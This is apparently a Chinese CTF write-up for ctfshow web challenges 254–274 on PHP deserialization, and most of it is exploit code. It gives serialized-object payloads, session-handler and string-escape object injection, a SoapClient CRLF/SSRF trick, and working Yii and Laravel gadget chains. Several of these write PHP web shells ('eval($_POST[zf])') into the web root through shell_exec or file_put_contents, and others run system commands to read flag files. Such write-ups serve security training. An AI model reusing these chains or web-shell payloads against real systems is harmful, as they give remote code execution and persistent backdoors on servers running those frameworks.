web254 函数 __sleep() //执行serialize()时,先会调用这个函数 __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符时绕过) __construct() //当对象被创建时,会触发进行初始化 __destruct() //对象被销毁时触发 __toString(): //当一个对象被当作字符串使用时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量) __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试以调用函数的方式调用一个对象时
<?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { if ($this ->username===$u &&$this ->password===$p ){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = new ctfShowUser (); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
这题连序列化,反序列化函数都没有,直接get传参
?username=xxxxxx&password=xxxxxx
web255 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
web256 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' ); class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password){ echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ]; if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()){ $user ->vipOneKeyGetFlag (); } }else { echo "no vip,no flag" ; } }
<?php class ctfShowUser { public $username ='wanan' ; public $password ='123' ; public $isVip =true ; } $user = new ctfShowUser ();echo urlencode (serialize ($user ));
get传入的username和password要等于反序列化对象的username和passwd哦
?username=wanan&password=123 Cookie : user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22wanan%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257 <?php error_reporting (0 );highlight_file (__FILE__ );class ctfShowUser { private $username ='xxxxxx' ; private $password ='xxxxxx' ; private $isVip =false ; private $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo ();#this 的class 属性去调用getinfo ()函数,那么就需要class 是一个backDoor 对象 } } class info { private $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { private $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); $user ->login ($username ,$password ); }
<?php class ctfShowUser { public function __construct ( ) { $this ->class = new backDoor (); } } class backDoor { private $code ='phpinfo();eval($_POST[zf]);' ; public function getInfo ( ) { eval ($this ->code); } } $final = new ctfShowUser ();echo urlencode (serialize ($final ));
修改属性的方式 这里总共有三种修改属性的方式
直接写 优点是方便,缺点是只能赋值字符串
class wanan { public $str = "eval" ; public $int = "phpinfo()" ; }
外部赋值 优点是可以赋值任意类型的值,缺点是只能操作public属性
<?php class DEMO1 { public $func ; public $arg ; } $o = new DEMO1 ();$o ->func = 'evil' ;$o ->arg = 'phpinfo();' ;echo (urlencode (serialize ($o )));
对于php7.1+的版本,反序列化对属性类型不敏感,题目虽然类下的属性可能不是public,但是我们可以本地改成public,然后生成public的序列化字符串.由于7.1+版本的容错机制,尽管属性类型错误,php也可以识别,反序列化成功.这样也可以绕过\0字符的过滤
构造方法赋值 优点是解决上面缺点,缺点是麻烦
<?php class DEMO1 { public $func ; public $arg ; function __construct ( ) { $this ->func = 'evil' ; } } $o = new DEMO1 ();echo (urlencode (serialize ($o )));
web258 反序列化绕过+匹配 <?php error_reporting (0 );highlight_file (__FILE__ ); class ctfShowUser { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public $isVip =false ; public $class = 'info' ; public function __construct ( ) { $this ->class =new info (); } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function __destruct ( ) { $this ->class ->getInfo (); } } class info { public $user ='xxxxxx' ; public function getInfo ( ) { return $this ->user; } } class backDoor { public $code ; public function getInfo ( ) { eval ($this ->code); } } $username =$_GET ['username' ];$password =$_GET ['password' ]; if (isset ($username ) && isset ($password )){ if (!preg_match ('/[oc]:\d+:/i' , $_COOKIE ['user' ])){ $user = unserialize ($_COOKIE ['user' ]); } $user ->login ($username ,$password ); }
至于为什么用加号函数定义就是这么写的,如果是+那么也能正常执行(以前看到其他解释说的是,+1和1没区别,但是没有说这里C实现的过程)
注意不要直接复制257的哦,属性有修改的
<?php class ctfShowUser { public function __construct ( ) { $this ->class = new backDoor (); } } class backDoor { public $code ='eval($_POST[zf]);' ; public function getInfo ( ) { eval ($this ->code); } } $final = new ctfShowUser ();$final = serialize ($final );$final = str_replace ("O:11" ,"O:+11" ,$final );$final = str_replace ("O:8" ,"O:+8" ,$final );echo urlencode ($final );
web259 <?php highlight_file (__FILE__ );$vip = unserialize ($_GET ['vip' ]);$vip ->getFlag ();
flag.php $xff = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]);array_pop ($xff );$ip = array_pop ($xff );if ($ip !=='127.0.0.1' ){ die ('error' ); }else { $token = $_POST ['token' ]; if ($token =='ctfshow' ){ file_put_contents ('flag.txt' ,$flag ); } }
explode() 函数把字符串打散为数组。 注释:"separator" 参数不能是空字符串。 注释:该函数是二进制安全的。 array_pop() 函数删除数组中的最后一个元素。
<?php $target = 'http://127.0.0.1/flag.php' ;$post_string = 'token=ctfshow' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1,127.0.0.1' , 'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d' ); $b = new SoapClient (null ,array ('location' => $target ,'user_agent' =>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^' .join ('^^' ,$headers ).'^^Content-Length: ' .(string )strlen ($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize ($b );$aaa = str_replace ('^^' ,"\r\n" ,$aaa );$aaa = str_replace ('&' ,'&' ,$aaa );echo urlencode ($aaa );
接着查看flag.txt
php原生类反序列化利用 SoapClient介绍 php在安装php-soap扩展后,可以反序列化原生类soapclient,来发送http post请求,必须调用soapclient不存在的方法,触发soapclient的__call魔术方法.通过crlf来添加请求题;soapclient可以指定user-agent头,通过添加换行符的形式来加入其他请求内容
soapclient采用了http作为底层通讯协议,xml作为数据传送的格式,其采用了soap协议(是一种简单的基于xml的协议,它是应用程序通过http来交换信息).
首先看一下自己有没有soap包扩展,多半是没有的
cd /lnmp/php-7.3.5/ext/soap
./configure -with-php-config=/usr/local/php/bin/php-config -enable-soap./configure -with-php-config=/usr/local/php/bin/php-config -enable-soap
/usr/local/php/lib/php/extensions/no-debug-non-zts-20180731/
手工修改:查找/usr/local/php/lib/php.ini中的extension_dir = “./”,默认是注释掉的 修改为extension_dir = “/usr/local/php/lib/php/extensions/no-debug-non-zts-20111222/” 并在此行后增加如下,然后保存
在kali上监听一下8888端口
新建一个soap.php利用代码,这里直接就在服务器上实现了
<?php $a = new SoapClient (null ,array ('uri' =>'bbb' , 'location' =>'http://192.168.5.152:8888' ));$b = serialize ($a );$c = unserialize ($b );$c -> not_a_function ();
访问一下这个soap.php文件
这里可以看到这个soapaction是我们的可控参数,因此我们可以尝试注入我们自己恶意构造的CRLF即插入\r\n
CRLF
<?php $a = new SoapClient (null ,array ('uri' =>"bbb\r\n\r\ntest\r\n" , 'location' =>'http://192.168.5.152:8888' ));$b = serialize ($a );$c = unserialize ($b );$c -> not_a_function ();
但是还有个问题我们再发送POST数据的时候是需要遵循HTTP协议,指定请求头Content-Type: application/x-www-form-urlencoded但Content-Type在SOAPAction的上面,就无法控制Content-Type,也就不能控制POST的数据
<?php $target = 'http://192.168.5.152:8888' ;$post_string = 'token=ctfshow' ;$b = new SoapClient (null ,array ('location' => $target ,'user_agent' =>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^' .'Content-Length: ' .(string )strlen ($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize ($b );$aaa = str_replace ('^^' ,"\r\n" ,$aaa );$aaa = str_replace ('&' ,'&' ,$aaa );$c = unserialize ($aaa );$c -> not_a_function ();
可以看到是成功了的
web260 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );if (preg_match ('/ctfshow_i_love_36D/' ,serialize ($_GET ['ctfshow' ]))){ echo $flag ; }
serialize序列化内容之后要包含 ctfshow_i_love_36D 就可以输出flag
<?php echo serialize ('ctfshow_i_love_36D' );
所以直接传入ctfshow_i_love_36D
web261 <?php highlight_file (__FILE__ );class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents ($this ->username, $this ->password); } } } unserialize ($_GET ['vip' ]);
<?php class ctfshowvip { public $username ='877.php' ; public $password ='<?php eval($_POST[zf]);?>' ; } $final = new ctfshowvip ();echo urlencode (serialize ($final ));
web262 <?php error_reporting (0 );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); setcookie ('msg' ,base64_encode ($umsg )); echo 'Your message has been sent' ; } highlight_file (__FILE__ );
这里读了一下没有能利用的地方啊,但是他的注释里面有一个message.php
<?php highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
这跟index有关系吗
<?php class message { public $token ='admin' ; } $final = new message ();echo base64_encode (serialize ($final ));
web263
源码呢,快给我源码,别扫太快,不然全是503
php三种处理器对$_SESSION数据进行序列化和反序列化
php在session存储和读取的时候,都会有一个序列化和反序列化的过程,php内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化
php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php,这个差异导致了session的反序列化问题
php有三种处理器对$_SESSION数据进行序列化和反序列化
选择器
存储格式
样例 $_SESSION[‘name’]=’ocean’
php_serialize
经过serialize()函数序列化数组
a:1:{s:4:“name”;s:5:“ocean”;}
php(默认)
键名 竖线 经过serialize()函数处理的值
name|s:5:“ocean”;
php_binary
键名的长度对应的ascii字符佳宁serialize()函数序列化的值
name s:6:“spoock”;
index.php
error_reporting (0 );session_start ();if (isset ($_SESSION ['limit' ])){ $_SESSION ['limti' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION ['limit' ]=base64_decode ($_COOKIE ['limit' ]); $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ]) +1 ); }else { setcookie ("limit" ,base64_encode ('1' )); $_SESSION ['limit' ]= 1 ; }
check.php
<?php error_reporting (0 );require_once 'inc/inc.php' ;$GET = array ("u" =>$_GET ['u' ],"pass" =>$_GET ['pass' ]);if ($GET ){ $data = $db ->get ('admin' , [ 'id' , 'UserName0' ],[ "AND" =>[ "UserName0[=]" =>$GET ['u' ], "PassWord1[=]" =>$GET ['pass' ] ] ]); if ($data ['id' ]){ $_SESSION ['limit' ]= 0 ; echo json_encode (array ("success" ,"msg" =>"欢迎您" .$data ['UserName0' ])); }else { $_COOKIE ['limit' ] = base64_encode (base64_decode ($_COOKIE ['limit' ])+1 ); echo json_encode (array ("error" ,"msg" =>"登陆失败" )); } }
小小观察一手,发现没什么可以利用的点,但是发现了包含了/inc/inc.php也就是一个配置信息
inc.php
<?php error_reporting (0 );ini_set ('display_errors' , 0 );ini_set ('session.serialize_handler' , 'php' );date_default_timezone_set ("Asia/Shanghai" );session_start ();use \CTFSHOW \CTFSHOW ; require_once 'CTFSHOW.php' ;$db = new CTFSHOW ([ 'database_type' => 'mysql' , 'database_name' => 'web' , 'server' => 'localhost' , 'username' => 'root' , 'password' => 'root' , 'charset' => 'utf8' , 'port' => 3306 , 'prefix' => '' , 'option' => [ PDO ::ATTR_CASE => PDO ::CASE_NATURAL ] ]); function checkForm ($str ) { if (!isset ($str )){ return true ; }else { return preg_match ("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i" ,$str ); } } class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status=$s ; } function __destruct ( ) { file_put_contents ("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create ()->format ('Y-m-d H:i:s' )); } } function uuid ( ) { $chars = md5 (uniqid (mt_rand (), true )); $uuid = substr ( $chars , 0 , 8 ) . '-' . substr ( $chars , 8 , 4 ) . '-' . substr ( $chars , 12 , 4 ) . '-' . substr ( $chars , 16 , 4 ) . '-' . substr ( $chars , 20 , 12 ); return $uuid ; }
index.php页面session.serialize_handler为php_serialize,存储在里面的值是经过序列化的,check.php和inc/inc.php的session.seralize_handler为php,而且使用了session_start(),可以读取session文件进行反序列化操作.如果不进行操作,index.php页面存储的session是不能正常在check.php和inc.php进行反序列化的,但是我们可以在属性的值中间加入|.这样在check.php和inc/inc.php页面进行放序列化的时候|前面的就会被看做键名,会对|后面进行反序列化.
这里的构造主要是要放入session文件里面,这里的session不能让index.php页面执行,但是要让check.php和/inc/inc.php页面执行,那么的话就是可以使用php方式存储进去
<?php class User { public $username ="2.php" ; public $password ='<?php eval($_POST[zf]);?>' ; } $final = new User ();echo base64_encode ("|" .serialize ($final ));
这里我们只是存储进去,如果要生成的话就需要访问check.php文件来生成log-zf.php文件
这里的文件名好像只能是数字的别的就是访问不到
访问check.php文件进行反序列化
访问log-2.php文件
web264 <?php error_reporting (0 );session_start ();class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];if (isset ($f ) && isset ($m ) && isset ($t )){ $msg = new message ($f ,$m ,$t ); $umsg = str_replace ('fuck' , 'loveU' , serialize ($msg )); $_SESSION ['msg' ]=base64_encode ($umsg ); echo 'Your message has been sent' ; } highlight_file (__FILE__ );
还有message.php文件
<?php session_start ();highlight_file (__FILE__ );include ('flag.php' );class message { public $from ; public $msg ; public $to ; public $token ='user' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } if (isset ($_COOKIE ['msg' ])){ $msg = unserialize (base64_decode ($_SESSION ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; } }
可以看到这里稍稍有点改变,也就是解码的是session的msg而不是cookie的msg
那么就变成了字符串逃逸问题了,每有一个fuck就会逃逸出来一个字符
先让我们看看它原来是什么样的
<?php class message { public $to ='fuck' ; public $token ='user' ; } $final = new message ();echo serialize ($final );
但是可以看到没一个fuck就会多出一个字符来.那么这样
这个是我们像要的
O:7 :"message" :2 :{s:2 :"to" ;s:4 :"fuck" ;s:5 :"token" ;s:4 :"user" ;}
仔细看哦就是这一部分
";s:5:"token";s:5:"admin";}
那么总共多少个呢总共27个,那么我们就需要27个fuck
O:7:"message":2:{s:2:"to";s:4:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:4:"user";}
那么自己手动拼接起来是这样的,但是前面的4肯定是不对的,但是你可以仔细观察,这个值不是我们传进去的吗,序列化生成的当然对
fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
index.php?f=x&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} 这里不要用hackbar传哦 message.php 改一下cookie
不要用hackbar传哦
PHP字符逃逸导致的对象注入 序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题
<?php function filter ($string ) {$a = str_replace ('x' ,'zz' ,$string );return $a ;} $username = "tr1ple" ;$password = "aaaaax" ;$user = array ($username , $password );echo (serialize ($user ));echo "\n" ;$r = filter (serialize ($user ));echo ($r );echo "\n" ;var_dump (unserialize ($r ));
php特性:
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 2.对类中不存在的属性也会进行反序列化
以上代码就明显存在一个问题,即从序列化后的字符串中明显可以看到经过filter函数以后s:6对应的字符串明显变长了.并且如果对于a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 这种字符串而言,也能够正常反序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块
以以上代码为例,如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性
比如此时我们想要让反序列化后第二个字符串为123456,此时我们的payload如果和之前的username长度为a,则filter处理以后可能username就会变成a,此时我们的payload变成了新的注入的属性,此时反序列化后就会得到我们想要的结果,比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456”;}是我们想要达到的效果,此时我们想要注入的payload明显为:
“;i:1;s:6:”123456”;}
可以得到其长度为20
此时我们已经知道过滤的规则为x->yy,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入20个x即可变成40个y,即可逃逸出20个空位,从而将我们的payload变为反序列化后得到的属性值
$a ='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:6:"aaaaa1";' ;var_dump (unserialize ($a ));$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}' ; $password ="aaaaa" ;$user = array ($username , $password );echo (serialize ($user ));echo "\n" ;$r = filter (serialize ($user ));echo ($r );echo "\n" ;var_dump (unserialize ($r ));
实例:
<?php class evil { public $hint ; public function __construct ($hint ) { $this ->hint = $hint ; } public function __destruct ( ) { if ($this ->hint==="hint.php" ) @$this ->hint = base64_encode (file_get_contents ($this ->hint)); var_dump ($this ->hint); } function __wakeup ( ) { if ($this ->hint != "╭(●`∀´●)╯" ) { $this ->hint = "╰(●’◡’●)╮" ; } } } class User { public $username ; public $password ; public function __construct ($username , $password ) { $this ->username = $username ; $this ->password = $password ; } } function write ($data ) { global $tmp ; $data = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $data ); $t1 =chr (0 ).'*' .chr (0 ); $tmp = $data ; } function read ( ) { global $tmp ; $data = $tmp ; $r = str_replace ('\0\0\0' , chr (0 ).'*' .chr (0 ), $data ); return $r ; } $tmp = "test" ;$username = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" ;$password = 'a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}' ;$a = serialize (new User ($username , $password ));echo $a ;if (preg_match ('/flag/is' ,$a )) die ("NoNoNo!" ); unserialize (read (write ($a )));var_dump (unserialize ('O:4:"User":2:{s:8:"username";s:2:"11";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}' ));
我们重点看到的是两个类,在evil类里$this->hint指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,肯定要构造触发这个evil类,但是看接入点,是post进去username和password两个参数,然后触发的是User类,但是有个read和write方法,经过处理后才进行序列化,这个就是个典型的字符串逃逸,具体原理可以参考文章PHP字符逃逸导致的对象注入 我们要逃逸出发evil类的payload为
O:4 :"evil" :1 :{s:4 :"hint" ;s:8 :"hint.php" ;}
user类触发为
O:4 :"User" :2 :{s:8 :"username" ;s:3 :"123" ;s:8 :"password" ;s:41 :"O:4:" evil":1:{s:4:" hint";s:8:" hint.php";}" ;}
所以我们要逃逸的就是”;s:8:”password”;s:41:”共23个字符,然后一对\0\0\0可以逃逸三个字符,我们就再添一个a进去凑成24个,用8对进行逃逸,但是会触发wakeup函数,使我们的hint指向一个颜文字,利用wakeup函数漏洞,将属性个数从1改成2即可绕过,最终构造的payload为
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
得到一个
<?php $hint = "index.cgi" ;
直接访问index.cgi
{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-620a1f2c-4d7449205354f22625cdf096" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob" }
发现是通过get方法获取name的值
发现后面请求的name确实跟着变了,证明猜测成立 ,那就来ssrf读取flag 这里需要一个file协议 file协议 所以构造payload
web265 <?php error_reporting (0 );include ('flag.php' );highlight_file (__FILE__ );class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token=$t ; $this ->password = $p ; } public function login ( ) { return $this ->token===$this ->password; } } $ctfshow = unserialize ($_GET ['ctfshow' ]);$ctfshow ->token=md5 (mt_rand ());if ($ctfshow ->login ()){ echo $flag ; }
mt_rand() 使用 Mersenne Twister 算法返回随机整数。
<?php class ctfshowAdmin { public $token ; public $password ; public function __construct ( ) { $this ->password = &$this ->token; } } $final = new ctfshowAdmin ();echo urlencode (serialize ($final ));
web266 <?php highlight_file (__FILE__ );include ('flag.php' );$cs = file_get_contents ('php://input' );class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function login ( ) { return $this ->username===$this ->password; } public function __toString ( ) { return $this ->username; } public function __destruct ( ) { global $flag ; echo $flag ; } } $ctfshowo =@unserialize ($cs );if (preg_match ('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); }
<?php class ctfshow {} $final = new ctfshow ();echo serialize ($final );echo "\n" ;echo urlencode (serialize ($final ));
但是这输入的时候是不能含有ctfshow的,新版hackbar有问题
第二种推测可能是反序列化之后出现问题,对象就直接被销毁了
web267
我还以为开错环境了
login页面出来是yii框架
admin admin登录了
about页面才出现提示
about页面传参数
yii框架利用链 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'phpinfo' ; $this ->id = '1' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction (), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator ; } } } namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); } ?>
访问一下backdoor文件
namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'shell_exec' ; $this ->id = "echo '<?php eval(\$_POST[zf]);?>' > /var/www/html/basic/web/zf.php" ; } } }
写文件进去
直接蚁剑连咯
web268-270 <?php namespace yii \rest { class Action { public $checkAccess ; } class IndexAction { public function __construct ($func , $param ) { $this ->checkAccess = $func ; $this ->id = $param ; } } } namespace yii \web { abstract class MultiFieldSession { public $writeCallback ; } class DbSession extends MultiFieldSession { public function __construct ($func , $param ) { $this ->writeCallback = [new \yii\rest\IndexAction ($func , $param ), "run" ]; } } } namespace yii \db { use yii \base \BaseObject ; class BatchQueryResult { private $_dataReader ; public function __construct ($func , $param ) { $this ->_dataReader = new \yii\web\DbSession ($func , $param ); } } } namespace { $exp = new \yii \db \BatchQueryResult ('shell_exec ', 'echo "<?php eval (\$_POST [1]);phpinfo ();?> " >/var/www/html/basic/web/1.php'); echo(base64_encode(serialize($exp ))); } ?> #TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTtwaHBpbmZvKCk7Pz4iID4vdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19
真坏上面的不给用
web271 Laravel利用链 <?php define ('LARAVEL_START' , microtime (true ));require __DIR__ . '/../vendor/autoload.php' ;$app = require_once __DIR__ . '/../bootstrap/app.php' ;$kernel = $app ->make (Illuminate\Contracts\Http\Kernel ::class );$response = $kernel ->handle ( $request = Illuminate\Http\Request ::capture () ); @unserialize ($_POST ['data' ]); highlight_file (__FILE__ );$kernel ->terminate ($request , $response );
<?php namespace Illuminate \Foundation \Testing { class PendingCommand { protected $command ; protected $parameters ; protected $app ; public $test ; public function __construct ($command , $parameters ,$class ,$app ) { $this ->command = $command ; $this ->parameters = $parameters ; $this ->test=$class ; $this ->app=$app ; } } } namespace Illuminate \Auth { class GenericUser { protected $attributes ; public function __construct (array $attributes ) { $this ->attributes = $attributes ; } } } namespace Illuminate \Foundation { class Application { protected $hasBeenBootstrapped = false ; protected $bindings ; public function __construct ($bind ) { $this ->bindings=$bind ; } } } namespace { $genericuser = new Illuminate \Auth \GenericUser ( array ( "expectedOutput "=>array ("0"=>"1"), "expectedQuestions "=>array ("0"=>"1") ) ); $application = new Illuminate\Foundation\Application ( array ( "Illuminate\Contracts\Console\Kernel" => array ( "concrete" =>"Illuminate\Foundation\Application" ) ) ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand ( "system" ,array ('tac /f*' ), $genericuser , $application ); echo urlencode (serialize ($pendingcommand )); }
web272-273 <?php namespace Illuminate \Broadcasting { use Illuminate \Bus \Dispatcher ; use Illuminate \Foundation \Console \QueuedCommand ; class PendingBroadcast { protected $events ; protected $event ; public function __construct ( ) { $this ->events=new Dispatcher (); $this ->event=new QueuedCommand (); } } } namespace Illuminate \Foundation \Console { class QueuedCommand { public $connection ="cat /flag "; } } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver ="system "; } } namespace { use Illuminate \Broadcasting \PendingBroadcast ; echo urlencode (serialize (new PendingBroadcast ())); }
web274 thinkphp利用链
